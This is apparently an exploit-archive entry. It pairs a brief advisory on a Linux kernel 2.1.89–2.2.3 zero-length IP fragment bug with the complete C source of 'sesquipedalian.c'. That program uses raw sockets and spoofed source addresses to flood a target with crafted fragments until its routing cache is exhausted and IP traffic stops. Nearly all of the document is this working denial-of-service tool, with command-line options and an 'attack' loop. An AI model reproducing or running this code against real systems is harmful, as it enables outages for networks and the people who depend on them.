Linux Kernel 2.1.89 / 2.2.x - Zero-Length Fragment Vulnerability



source: http://www.securityfocus.com/bid/2247/info


Linux kernel versions 2.1.89 to 2.2.3 are vulnerable to a denial of service attack caused when a 0-length IP fragment is received, if it is the first fragment in the list. Several thousands 0-length packets must be sent in order for this to initiate a denial of service against the target. 

/*
 * sesquipedalian.c - Demonstrates a DoS bug in Linux 2.1.89 - 2.2.3
 *
 * by horizon <jmcdonal@unf.edu>
 *
 * This sends a series of IP fragments such that a 0 length fragment is first
 * in the fragment list. This causes a reference count on the cached routing
 * information for that packet's originator to be incremented one extra time.
 * This makes it impossible for the kernel to deallocate the destination entry
 * and remove it from the cache.
 *
 * If we send enough fragments such that there are at least 4096 stranded
 * dst cache entries, then the target machine will no longer be able to
 * allocate new cache entries, and IP communication will be effectively
 * disabled. You will need to set the delay such that packets are not being
 * dropped, and you will probably need to let the program run for a few
 * minutes to have the full effect. This was written for OpenBSD and Linux.
 *
 * Thanks to vacuum, colonwq, duke, rclocal, sygma, and antilove for testing.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

struct my_ip_header
{
    unsigned char  ip_hl:4,         /* header length */
        ip_v:4;               /* version */
    unsigned char  ip_tos;          /* type of service */
    unsigned short ip_len;          /* total length */
    unsigned short ip_id;           /* identification */
    unsigned short ip_off;          /* fragment offset field */
#define IP_RF 0x8000                    /* reserved fragment flag */
#define IP_DF 0x4000                    /* dont fragment flag */
#define IP_MF 0x2000                    /* more fragments flag */
#define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
    unsigned char  ip_ttl;          /* time to live */
    unsigned char  ip_p;                    /* protocol */
    unsigned short ip_sum;          /* checksum */
    unsigned long ip_src, ip_dst; /* source and dest address */
};

struct my_udp_header
{
    unsigned short uh_sport;
    unsigned short uh_dport;
    unsigned short uh_ulen;
    unsigned short uh_sum;
};

#define IHLEN (sizeof (struct my_ip_header))
#define UHLEN (sizeof (struct my_udp_header))

#ifdef __OpenBSD__
#define EXTRA 8
#else
#define EXTRA 0
#endif

unsigned short checksum(unsigned short *data,unsigned short length)
{
        register long value;
        u_short i;

        for(i=0;i<(length>>1);i++)
                value+=data[i];

        if((length&1)==1)
                value+=(data[i]<<8);

        value=(value&65535)+(value>>16);

        return(~value);
}

unsigned long resolve( char *hostname)
{
    long result;
    struct hostent *hp;

    if ((result=inet_addr(hostname))==-1)
    {
        if ((hp=gethostbyname(hostname))==0)
        {
            fprintf(stderr,"Can't resolve target.\n");
            exit(1);
        }
        bcopy(hp->h_addr,&result,4);
    }
    return result;
}

void usage(void)
{
    fprintf(stderr,"usage: ./sqpd [-s sport] [-d dport] [-n count] [-u delay] source target\n");
    exit(0);
}


void sendem(int s, unsigned long source, unsigned long dest,
        unsigned short sport, unsigned short dport)
{
    static char buffer[8192];
    struct my_ip_header *ip;
    struct my_udp_header *udp;
    struct sockaddr_in sa;

    bzero(&sa,sizeof(struct sockaddr_in));
    sa.sin_family=AF_INET;
    sa.sin_port=htons(sport);
    sa.sin_addr.s_addr=dest;

    bzero(buffer,IHLEN+32);
    
    ip=(struct my_ip_header *)buffer;
    udp=(struct my_udp_header *)&(buffer[IHLEN]);

    ip->ip_v = 4;
    ip->ip_hl = IHLEN >>2;
    ip->ip_tos = 0;
    ip->ip_id = htons(random() & 0xFFFF);
    ip->ip_ttl = 142;
    ip->ip_p = IPPROTO_UDP;
    ip->ip_src = source;
    ip->ip_dst = dest;
    udp->uh_sport = htons(sport);
    udp->uh_dport = htons(dport);
    udp->uh_ulen = htons(64-UHLEN);
    udp->uh_sum = 0;

    /* Our first fragment will have an offset of 0, and be 32 bytes
       long. This gets added as the only element in the fragment
       list. */

    ip->ip_len = htons(IHLEN+32);
    ip->ip_off = htons(IP_MF);
    ip->ip_sum = 0;
    ip->ip_sum = checksum((u_short *)buffer,IHLEN+32);

    if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
    {
        perror("sendto");
        exit(1);
    }

    /* Our second fragment will have an offset of 0, and a 0 length.
       This gets added to the list before our previous fragment,
       making it first in line. */

    ip->ip_len = htons(IHLEN);
    ip->ip_off = htons(IP_MF);
    ip->ip_sum = 0;
    ip->ip_sum = checksum((u_short *)buffer,IHLEN);

    if (sendto(s,buffer,IHLEN+EXTRA,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
    {
        perror("sendto");
        exit(1);
    }

    /* Our third and final frag has an offset of 4 (32 bytes), and a
       length of 32 bytes. This passes our three frags up to ip_glue. */

    ip->ip_len = htons(IHLEN+32);
    ip->ip_off = htons(32/8);
    ip->ip_sum = 0;
    ip->ip_sum = checksum((u_short *)buffer,IHLEN+32);

    if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
    {
        perror("sendto");
        exit(1);
    }
}

int main(int argc, char **argv)
{
    int sock;
    int on=1,i;
    unsigned long source, dest;
    unsigned short sport=53, dport=16384;
    int delay=20000, count=15000;

    if (argc<3)
        usage();    

    while ((i=getopt(argc,argv,"s:d:n:u:"))!=-1)
    {
        switch (i)
        {
            case 's': sport=atoi(optarg);
                  break;
            case 'd': dport=atoi(optarg);
                  break;
            case 'n': count=atoi(optarg);
                  break;
            case 'u': delay=atoi(optarg);
                  break;
            default:  usage();
        }
    }
    
    argc-=optind;
    argv+=optind;

    source=resolve(argv[0]);
        dest=resolve(argv[1]);

    srandom(time((time_t)0)*getpid());

    if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
        perror("socket");
        exit(1);
    }

    if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
    {
        perror("setsockopt: IP_HDRINCL");
        exit(1);
    }

    fprintf(stdout,"\nStarting attack on %s ...",argv[1]);

    for (i=0; i<count; i++)
    {
        sendem(sock,source+htonl(i),dest,sport,dport);
        if (!(i%2))
            usleep(delay);
        if (!(i%100))
        {
            if (!(i%2000))
                fprintf(stdout,"\n");
            fprintf(stdout,".");
            fflush(stdout);
        }
    }

    fprintf(stdout,"\nDone.\n");
    exit(1);
}